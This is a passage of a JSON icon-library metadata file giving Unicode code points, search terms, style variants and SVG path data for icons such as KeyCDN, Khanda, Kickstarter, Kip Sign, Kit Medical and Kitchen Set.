        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zm16 64h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm16 80h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm80-176c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V144zm16 80h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zM160 336c0-8.8 7.2-16 16-16H400c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V336zM272 128h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16zM256 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM368 128h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16zM352 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V240zM464 128h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H464c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16zM448 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H464c-8.8 0-16-7.2-16-16V240zm16 80h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H464c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zm16 64h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm16 80h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm80-176c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V144zm16 80h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zM160 336c0-8.8 7.2-16 16-16H400c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V336zM272 128h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16zM256 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM368 128h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16zM352 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V240zM464 128h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H464c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16zM448 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H464c-8.8 0-16-7.2-16-16V240zm16 80h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H464c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16z"
      },
      "regular": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 112c-8.8 0-16 7.2-16 16V384c0 8.8 7.2 16 16 16H512c8.8 0 16-7.2 16-16V128c0-8.8-7.2-16-16-16H64zM0 128C0 92.7 28.7 64 64 64H512c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128zM176 320H400c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm-72-72c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H120c-8.8 0-16-7.2-16-16V248zm16-96h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H120c-8.8 0-16-7.2-16-16V168c0-8.8 7.2-16 16-16zm64 96c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H200c-8.8 0-16-7.2-16-16V248zm16-96h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H200c-8.8 0-16-7.2-16-16V168c0-8.8 7.2-16 16-16zm64 96c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H280c-8.8 0-16-7.2-16-16V248zm16-96h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H280c-8.8 0-16-7.2-16-16V168c0-8.8 7.2-16 16-16zm64 96c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H360c-8.8 0-16-7.2-16-16V248zm16-96h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H360c-8.8 0-16-7.2-16-16V168c0-8.8 7.2-16 16-16zm64 96c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H440c-8.8 0-16-7.2-16-16V248zm16-96h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H440c-8.8 0-16-7.2-16-16V168c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 112c-8.8 0-16 7.2-16 16V384c0 8.8 7.2 16 16 16H512c8.8 0 16-7.2 16-16V128c0-8.8-7.2-16-16-16H64zM0 128C0 92.7 28.7 64 64 64H512c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128zM176 320H400c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm-72-72c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H120c-8.8 0-16-7.2-16-16V248zm16-96h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H120c-8.8 0-16-7.2-16-16V168c0-8.8 7.2-16 16-16zm64 96c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H200c-8.8 0-16-7.2-16-16V248zm16-96h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H200c-8.8 0-16-7.2-16-16V168c0-8.8 7.2-16 16-16zm64 96c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H280c-8.8 0-16-7.2-16-16V248zm16-96h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H280c-8.8 0-16-7.2-16-16V168c0-8.8 7.2-16 16-16zm64 96c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H360c-8.8 0-16-7.2-16-16V248zm16-96h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H360c-8.8 0-16-7.2-16-16V168c0-8.8 7.2-16 16-16zm64 96c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H440c-8.8 0-16-7.2-16-16V248zm16-96h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H440c-8.8 0-16-7.2-16-16V168c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["regular", "solid"]
  },
  "keycdn": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3ba",
    "label": "KeyCDN",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M63.8 409.3l60.5-59c32.1 42.8 71.1 66 126.6 67.4 30.5.7 60.3-7 86.4-22.4 5.1 5.3 18.5 19.5 20.9 22-32.2 20.7-69.6 31.1-108.1 30.2-43.3-1.1-84.6-16.7-117.7-44.4.3-.6-38.2 37.5-38.6 37.9 9.5 29.8-13.1 62.4-46.3 62.4C20.7 503.3 0 481.7 0 454.9c0-34.3 33.1-56.6 63.8-45.6zm354.9-252.4c19.1 31.3 29.6 67.4 28.7 104-1.1 44.8-19 87.5-48.6 121 .3.3 23.8 25.2 24.1 25.5 9.6-1.3 19.2 2 25.9 9.1 11.3 12 10.9 30.9-1.1 42.4-12 11.3-30.9 10.9-42.4-1.1-6.7-7-9.4-16.8-7.6-26.3-24.9-26.6-44.4-47.2-44.4-47.2 42.7-34.1 63.3-79.6 64.4-124.2.7-28.9-7.2-57.2-21.1-82.2l22.1-21zM104 53.1c6.7 7 9.4 16.8 7.6 26.3l45.9 48.1c-4.7 3.8-13.3 10.4-22.8 21.3-25.4 28.5-39.6 64.8-40.7 102.9-.7 28.9 6.1 57.2 20 82.4l-22 21.5C72.7 324 63.1 287.9 64.2 250.9c1-44.6 18.3-87.6 47.5-121.1l-25.3-26.4c-9.6 1.3-19.2-2-25.9-9.1-11.3-12-10.9-30.9 1.1-42.4C73.5 40.7 92.2 41 104 53.1zM464.9 8c26 0 47.1 22.4 47.1 48.3S490.9 104 464.9 104c-6.3.1-14-1.1-15.9-1.8l-62.9 59.7c-32.7-43.6-76.7-65.9-126.9-67.2-30.5-.7-60.3 6.8-86.2 22.4l-21.1-22C184.1 74.3 221.5 64 260 64.9c43.3 1.1 84.6 16.7 117.7 44.6l41.1-38.6c-1.5-4.7-2.2-9.6-2.2-14.5C416.5 29.7 438.9 8 464.9 8zM256.7 113.4c5.5 0 10.9.4 16.4 1.1 78.1 9.8 133.4 81.1 123.8 159.1-9.8 78.1-81.1 133.4-159.1 123.8-78.1-9.8-133.4-81.1-123.8-159.2 9.3-72.4 70.1-124.6 142.7-124.8zm-59 119.4c.6 22.7 12.2 41.8 32.4 52.2l-11 51.7h73.7l-11-51.7c20.1-10.9 32.1-29 32.4-52.2-.4-32.8-25.8-57.5-58.3-58.3-32.1.8-57.3 24.8-58.2 58.3zM256 160\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M63.8 409.3l60.5-59c32.1 42.8 71.1 66 126.6 67.4 30.5.7 60.3-7 86.4-22.4 5.1 5.3 18.5 19.5 20.9 22-32.2 20.7-69.6 31.1-108.1 30.2-43.3-1.1-84.6-16.7-117.7-44.4.3-.6-38.2 37.5-38.6 37.9 9.5 29.8-13.1 62.4-46.3 62.4C20.7 503.3 0 481.7 0 454.9c0-34.3 33.1-56.6 63.8-45.6zm354.9-252.4c19.1 31.3 29.6 67.4 28.7 104-1.1 44.8-19 87.5-48.6 121 .3.3 23.8 25.2 24.1 25.5 9.6-1.3 19.2 2 25.9 9.1 11.3 12 10.9 30.9-1.1 42.4-12 11.3-30.9 10.9-42.4-1.1-6.7-7-9.4-16.8-7.6-26.3-24.9-26.6-44.4-47.2-44.4-47.2 42.7-34.1 63.3-79.6 64.4-124.2.7-28.9-7.2-57.2-21.1-82.2l22.1-21zM104 53.1c6.7 7 9.4 16.8 7.6 26.3l45.9 48.1c-4.7 3.8-13.3 10.4-22.8 21.3-25.4 28.5-39.6 64.8-40.7 102.9-.7 28.9 6.1 57.2 20 82.4l-22 21.5C72.7 324 63.1 287.9 64.2 250.9c1-44.6 18.3-87.6 47.5-121.1l-25.3-26.4c-9.6 1.3-19.2-2-25.9-9.1-11.3-12-10.9-30.9 1.1-42.4C73.5 40.7 92.2 41 104 53.1zM464.9 8c26 0 47.1 22.4 47.1 48.3S490.9 104 464.9 104c-6.3.1-14-1.1-15.9-1.8l-62.9 59.7c-32.7-43.6-76.7-65.9-126.9-67.2-30.5-.7-60.3 6.8-86.2 22.4l-21.1-22C184.1 74.3 221.5 64 260 64.9c43.3 1.1 84.6 16.7 117.7 44.6l41.1-38.6c-1.5-4.7-2.2-9.6-2.2-14.5C416.5 29.7 438.9 8 464.9 8zM256.7 113.4c5.5 0 10.9.4 16.4 1.1 78.1 9.8 133.4 81.1 123.8 159.1-9.8 78.1-81.1 133.4-159.1 123.8-78.1-9.8-133.4-81.1-123.8-159.2 9.3-72.4 70.1-124.6 142.7-124.8zm-59 119.4c.6 22.7 12.2 41.8 32.4 52.2l-11 51.7h73.7l-11-51.7c20.1-10.9 32.1-29 32.4-52.2-.4-32.8-25.8-57.5-58.3-58.3-32.1.8-57.3 24.8-58.2 58.3zM256 160"
      }
    },
    "free": ["brands"]
  },
  "khanda": {
    "aliases": {
      "unicodes": {
        "composite": ["262c"],
        "secondary": ["10f66d"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Adi Shakti", "chakkar", "sikh", "sikhism", "sword"]
    },
    "styles": ["solid"],
    "unicode": "f66d",
    "label": "Khanda",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M245.8 3.7c5.9-4.9 14.6-4.9 20.5 0l48 40c5.9 4.9 7.5 13.2 3.8 19.9l0 0 0 0 0 0 0 0-.1 .1-.3 .6c-.3 .5-.7 1.3-1.2 2.3c-1 2-2.6 5-4.4 8.6c-.5 .9-.9 1.9-1.4 2.9C344.9 97.4 368 134 368 176s-23.1 78.6-57.3 97.8c.5 1 1 2 1.4 2.9c1.8 3.7 3.3 6.6 4.4 8.6c.5 1 .9 1.8 1.2 2.3l.3 .6 .1 .1 0 0 0 0c3.6 6.7 2 15-3.8 19.9L272 343.5v19.8l35.6-24.5 41.1-28.2c42.8-29.4 68.4-78 68.4-130c0-31.1-9.2-61.6-26.5-87.5l-2.8-4.2c-4-6-3.5-14 1.3-19.5s12.7-7 19.2-3.7L401.1 80c7.2-14.3 7.2-14.3 7.2-14.3l0 0 0 0 .1 0 .3 .2 1 .5c.8 .4 2 1.1 3.5 1.9c2.9 1.7 7 4.1 11.8 7.3c9.6 6.4 22.5 16.1 35.4 29c25.7 25.7 52.7 65.6 52.7 119.3c0 53.1-26.4 100.5-51.2 133.6c-12.6 16.7-25.1 30.3-34.5 39.7c-4.7 4.7-8.7 8.4-11.5 10.9c-1.4 1.3-2.5 2.2-3.3 2.9l-.9 .8-.3 .2-.1 .1 0 0 0 0s0 0-10.2-12.3l10.2 12.3c-5.1 4.3-12.4 4.9-18.2 1.6l-75.6-43-32.7 22.5 45.5 31.3c1.8-.4 3.7-.7 5.7-.7c13.3 0 24 10.7 24 24s-10.7 24-24 24c-12.2 0-22.3-9.1-23.8-21L272 423.4v28.9c9.6 5.5 16 15.9 16 27.7c0 17.7-14.3 32-32 32s-32-14.3-32-32c0-11.8 6.4-22.2 16-27.7V424.1l-40.3 27.7C197.8 463.3 187.9 472 176 472c-13.3 0-24-10.7-24-24s10.7-24 24-24c2.2 0 4.4 .3 6.5 .9l45.8-31.5-32.7-22.5-75.6 43c-5.8 3.3-13 2.7-18.2-1.6L112 400c-10.2 12.3-10.2 12.3-10.3 12.3l0 0 0 0-.1-.1-.3-.2-.9-.8c-.8-.7-1.9-1.7-3.3-2.9c-2.8-2.5-6.7-6.2-11.5-10.9c-9.4-9.4-21.9-23-34.5-39.7C26.4 324.5 0 277.1 0 224c0-53.7 26.9-93.6 52.7-119.3c12.9-12.9 25.8-22.6 35.4-29C93 72.5 97 70 99.9 68.4c1.5-.8 2.6-1.5 3.5-1.9l1-.5 .3-.2 .1 0 0 0 0 0s0 0 7.2 14.3l-7.2-14.3c6.5-3.2 14.3-1.7 19.2 3.7s5.3 13.4 1.3 19.5l-2.8 4.2C105.2 119 96 149.5 96 180.6c0 51.9 25.6 100.6 68.4 130l41.1 28.2L240 362.6V343.5l-42.2-35.2c-5.9-4.9-7.5-13.2-3.8-19.9l0 0 0 0 0 0 .1-.1 .3-.6c.3-.5 .7-1.3 1.2-2.3c1-2 2.6-5 4.4-8.6c.5-.9 .9-1.9 1.4-2.9C167.1 254.6 144 218 144 176s23.1-78.6 57.3-97.8c-.5-1-1-2-1.4-2.9c-1.8-3.7-3.3-6.6-4.4-8.6c-.5-1-.9-1.8-1.2-2.3l-.3-.6-.1-.1 0 0 0 0 0 0c-3.6-6.7-2-15 3.8-19.9l48-40zM220.2 122.9c-17 11.5-28.2 31-28.2 53.1s11.2 41.6 28.2 53.1C227 210.2 232 190.9 232 176s-5-34.2-11.8-53.1zm71.5 106.2c17-11.5 28.2-31 28.2-53.1s-11.2-41.6-28.2-53.1C285 141.8 280 161.1 280 176s5 34.2 11.8 53.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M245.8 3.7c5.9-4.9 14.6-4.9 20.5 0l48 40c5.9 4.9 7.5 13.2 3.8 19.9l0 0 0 0 0 0 0 0-.1 .1-.3 .6c-.3 .5-.7 1.3-1.2 2.3c-1 2-2.6 5-4.4 8.6c-.5 .9-.9 1.9-1.4 2.9C344.9 97.4 368 134 368 176s-23.1 78.6-57.3 97.8c.5 1 1 2 1.4 2.9c1.8 3.7 3.3 6.6 4.4 8.6c.5 1 .9 1.8 1.2 2.3l.3 .6 .1 .1 0 0 0 0c3.6 6.7 2 15-3.8 19.9L272 343.5v19.8l35.6-24.5 41.1-28.2c42.8-29.4 68.4-78 68.4-130c0-31.1-9.2-61.6-26.5-87.5l-2.8-4.2c-4-6-3.5-14 1.3-19.5s12.7-7 19.2-3.7L401.1 80c7.2-14.3 7.2-14.3 7.2-14.3l0 0 0 0 .1 0 .3 .2 1 .5c.8 .4 2 1.1 3.5 1.9c2.9 1.7 7 4.1 11.8 7.3c9.6 6.4 22.5 16.1 35.4 29c25.7 25.7 52.7 65.6 52.7 119.3c0 53.1-26.4 100.5-51.2 133.6c-12.6 16.7-25.1 30.3-34.5 39.7c-4.7 4.7-8.7 8.4-11.5 10.9c-1.4 1.3-2.5 2.2-3.3 2.9l-.9 .8-.3 .2-.1 .1 0 0 0 0s0 0-10.2-12.3l10.2 12.3c-5.1 4.3-12.4 4.9-18.2 1.6l-75.6-43-32.7 22.5 45.5 31.3c1.8-.4 3.7-.7 5.7-.7c13.3 0 24 10.7 24 24s-10.7 24-24 24c-12.2 0-22.3-9.1-23.8-21L272 423.4v28.9c9.6 5.5 16 15.9 16 27.7c0 17.7-14.3 32-32 32s-32-14.3-32-32c0-11.8 6.4-22.2 16-27.7V424.1l-40.3 27.7C197.8 463.3 187.9 472 176 472c-13.3 0-24-10.7-24-24s10.7-24 24-24c2.2 0 4.4 .3 6.5 .9l45.8-31.5-32.7-22.5-75.6 43c-5.8 3.3-13 2.7-18.2-1.6L112 400c-10.2 12.3-10.2 12.3-10.3 12.3l0 0 0 0-.1-.1-.3-.2-.9-.8c-.8-.7-1.9-1.7-3.3-2.9c-2.8-2.5-6.7-6.2-11.5-10.9c-9.4-9.4-21.9-23-34.5-39.7C26.4 324.5 0 277.1 0 224c0-53.7 26.9-93.6 52.7-119.3c12.9-12.9 25.8-22.6 35.4-29C93 72.5 97 70 99.9 68.4c1.5-.8 2.6-1.5 3.5-1.9l1-.5 .3-.2 .1 0 0 0 0 0s0 0 7.2 14.3l-7.2-14.3c6.5-3.2 14.3-1.7 19.2 3.7s5.3 13.4 1.3 19.5l-2.8 4.2C105.2 119 96 149.5 96 180.6c0 51.9 25.6 100.6 68.4 130l41.1 28.2L240 362.6V343.5l-42.2-35.2c-5.9-4.9-7.5-13.2-3.8-19.9l0 0 0 0 0 0 .1-.1 .3-.6c.3-.5 .7-1.3 1.2-2.3c1-2 2.6-5 4.4-8.6c.5-.9 .9-1.9 1.4-2.9C167.1 254.6 144 218 144 176s23.1-78.6 57.3-97.8c-.5-1-1-2-1.4-2.9c-1.8-3.7-3.3-6.6-4.4-8.6c-.5-1-.9-1.8-1.2-2.3l-.3-.6-.1-.1 0 0 0 0 0 0c-3.6-6.7-2-15 3.8-19.9l48-40zM220.2 122.9c-17 11.5-28.2 31-28.2 53.1s11.2 41.6 28.2 53.1C227 210.2 232 190.9 232 176s-5-34.2-11.8-53.1zm71.5 106.2c17-11.5 28.2-31 28.2-53.1s-11.2-41.6-28.2-53.1C285 141.8 280 161.1 280 176s5 34.2 11.8 53.1z"
      }
    },
    "free": ["solid"]
  },
  "kickstarter": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3bb",
    "label": "Kickstarter",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 480H48c-26.4 0-48-21.6-48-48V80c0-26.4 21.6-48 48-48h352c26.4 0 48 21.6 48 48v352c0 26.4-21.6 48-48 48zM199.6 178.5c0-30.7-17.6-45.1-39.7-45.1-25.8 0-40 19.8-40 44.5v154.8c0 25.8 13.7 45.6 40.5 45.6 21.5 0 39.2-14 39.2-45.6v-41.8l60.6 75.7c12.3 14.9 39 16.8 55.8 0 14.6-15.1 14.8-36.8 4-50.4l-49.1-62.8 40.5-58.7c9.4-13.5 9.5-34.5-5.6-49.1-16.4-15.9-44.6-17.3-61.4 7l-44.8 64.7v-38.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 480H48c-26.4 0-48-21.6-48-48V80c0-26.4 21.6-48 48-48h352c26.4 0 48 21.6 48 48v352c0 26.4-21.6 48-48 48zM199.6 178.5c0-30.7-17.6-45.1-39.7-45.1-25.8 0-40 19.8-40 44.5v154.8c0 25.8 13.7 45.6 40.5 45.6 21.5 0 39.2-14 39.2-45.6v-41.8l60.6 75.7c12.3 14.9 39 16.8 55.8 0 14.6-15.1 14.8-36.8 4-50.4l-49.1-62.8 40.5-58.7c9.4-13.5 9.5-34.5-5.6-49.1-16.4-15.9-44.6-17.3-61.4 7l-44.8 64.7v-38.8z"
      }
    },
    "free": ["brands"]
  },
  "kickstarter-k": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3bc",
    "label": "Kickstarter K",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M147.3 114.4c0-56.2-32.5-82.4-73.4-82.4C26.2 32 0 68.2 0 113.4v283c0 47.3 25.3 83.4 74.9 83.4 39.8 0 72.4-25.6 72.4-83.4v-76.5l112.1 138.3c22.7 27.2 72.1 30.7 103.2 0 27-27.6 27.3-67.4 7.4-92.2l-90.8-114.8 74.9-107.4c17.4-24.7 17.5-63.1-10.4-89.8-30.3-29-82.4-31.6-113.6 12.8L147.3 185v-70.6z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M147.3 114.4c0-56.2-32.5-82.4-73.4-82.4C26.2 32 0 68.2 0 113.4v283c0 47.3 25.3 83.4 74.9 83.4 39.8 0 72.4-25.6 72.4-83.4v-76.5l112.1 138.3c22.7 27.2 72.1 30.7 103.2 0 27-27.6 27.3-67.4 7.4-92.2l-90.8-114.8 74.9-107.4c17.4-24.7 17.5-63.1-10.4-89.8-30.3-29-82.4-31.6-113.6 12.8L147.3 185v-70.6z"
      }
    },
    "free": ["brands"]
  },
  "kip-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Kip Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e1c4",
    "label": "Kip Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M340.8 88.3c13.4-11.5 15-31.7 3.5-45.1s-31.7-15-45.1-3.5L128 186.4V64c0-17.7-14.3-32-32-32S64 46.3 64 64V224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64V448c0 17.7 14.3 32 32 32s32-14.3 32-32V325.6L299.2 472.3c13.4 11.5 33.6 9.9 45.1-3.5s9.9-33.6-3.5-45.1L182.5 288H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H182.5L340.8 88.3z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M340.8 88.3c13.4-11.5 15-31.7 3.5-45.1s-31.7-15-45.1-3.5L128 186.4V64c0-17.7-14.3-32-32-32S64 46.3 64 64V224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64V448c0 17.7 14.3 32 32 32s32-14.3 32-32V325.6L299.2 472.3c13.4 11.5 33.6 9.9 45.1-3.5s9.9-33.6-3.5-45.1L182.5 288H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H182.5L340.8 88.3z"
      }
    },
    "free": ["solid"]
  },
  "kit-medical": {
    "aliases": {
      "names": ["first-aid"],
      "unicodes": {
        "secondary": ["10f479"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["emergency", "emt", "health", "medical", "rescue"]
    },
    "styles": ["solid"],
    "unicode": "f479",
    "label": "Kit Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H96V32H64zm64 0V480H448V32H128zM512 480c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H480V480h32zM256 176c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H320v48c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V288H208c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16h48V176z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H96V32H64zm64 0V480H448V32H128zM512 480c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H480V480h32zM256 176c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H320v48c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V288H208c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16h48V176z"
      }
    },
    "free": ["solid"]
  },
  "kitchen-set": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["chef", "cook", "cup", "kitchen", "pan", "pot", "skillet"]
    },
    "styles": ["solid"],
    "unicode": "e51a",
    "label": "Kitchen Set",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M240 144A96 96 0 1 0 48 144a96 96 0 1 0 192 0zm44.4 32C269.9 240.1 212.5 288 144 288C64.5 288 0 223.5 0 144S64.5 0 144 0c68.5 0 125.9 47.9 140.4 112h71.8c8.8-9.8 21.6-16 35.8-16H496c26.5 0 48 21.5 48 48s-21.5 48-48 48H392c-14.2 0-27-6.2-35.8-16H284.4zM144 80a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM400 240c13.3 0 24 10.7 24 24v8h96c13.3 0 24 10.7 24 24s-10.7 24-24 24H280c-13.3 0-24-10.7-24-24s10.7-24 24-24h96v-8c0-13.3 10.7-24 24-24zM288 464V352H512V464c0 26.5-21.5 48-48 48H336c-26.5 0-48-21.5-48-48zM48 320h80 16 32c26.5 0 48 21.5 48 48s-21.5 48-48 48H160c0 17.7-14.3 32-32 32H64c-17.7 0-32-14.3-32-32V336c0-8.8 7.2-16 16-16zm128 64c8.8 0 16-7.2 16-16s-7.2-16-16-16H160v32h16zM24 464H200c13.3 0 24 10.7 24 24s-10.7 24-24 24H24c-13.3 0-24-10.7-24-24s10.7-24 24-24z\"/></svg>",
